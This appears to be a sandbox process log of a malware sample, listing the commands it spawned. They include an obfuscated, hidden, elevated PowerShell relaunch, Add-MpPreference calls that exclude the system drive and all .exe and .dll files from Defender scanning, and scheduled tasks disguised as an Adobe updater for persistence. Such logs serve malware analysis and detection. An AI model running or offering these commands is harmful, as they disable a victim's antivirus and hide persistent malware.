n0cjd0kc.exe "C:\Users\test22\AppData\Local\Temp\n0cjd0kc.exe"
444powershell.exe powershell "Start-Process <#begldwqnpds#> powershell <#begldwqnpds#> -Verb <#begldwqnpds#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
2316powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
2452explorer.exe C:\Windows\Explorer.EXE
1236schtasks.exe schtasks /create /sc daily /st 14:51 /f /tn AdobeUpdateTask_MTA1 /tr "C:\ProgramData\sY2NsQjNsETOsATOsIDOsUWOsIWOsMDOsU2NsUWO\MTA1.exe"
1664powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath "C:\ProgramData\sY2NsQjNsETOsATOsIDOsUWOsIWOsMDOsU2NsUWO\MTA1.exe" -Force
2128schtasks.exe schtasks /create /sc daily /st 14:51 /f /tn "AppLaunch" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2208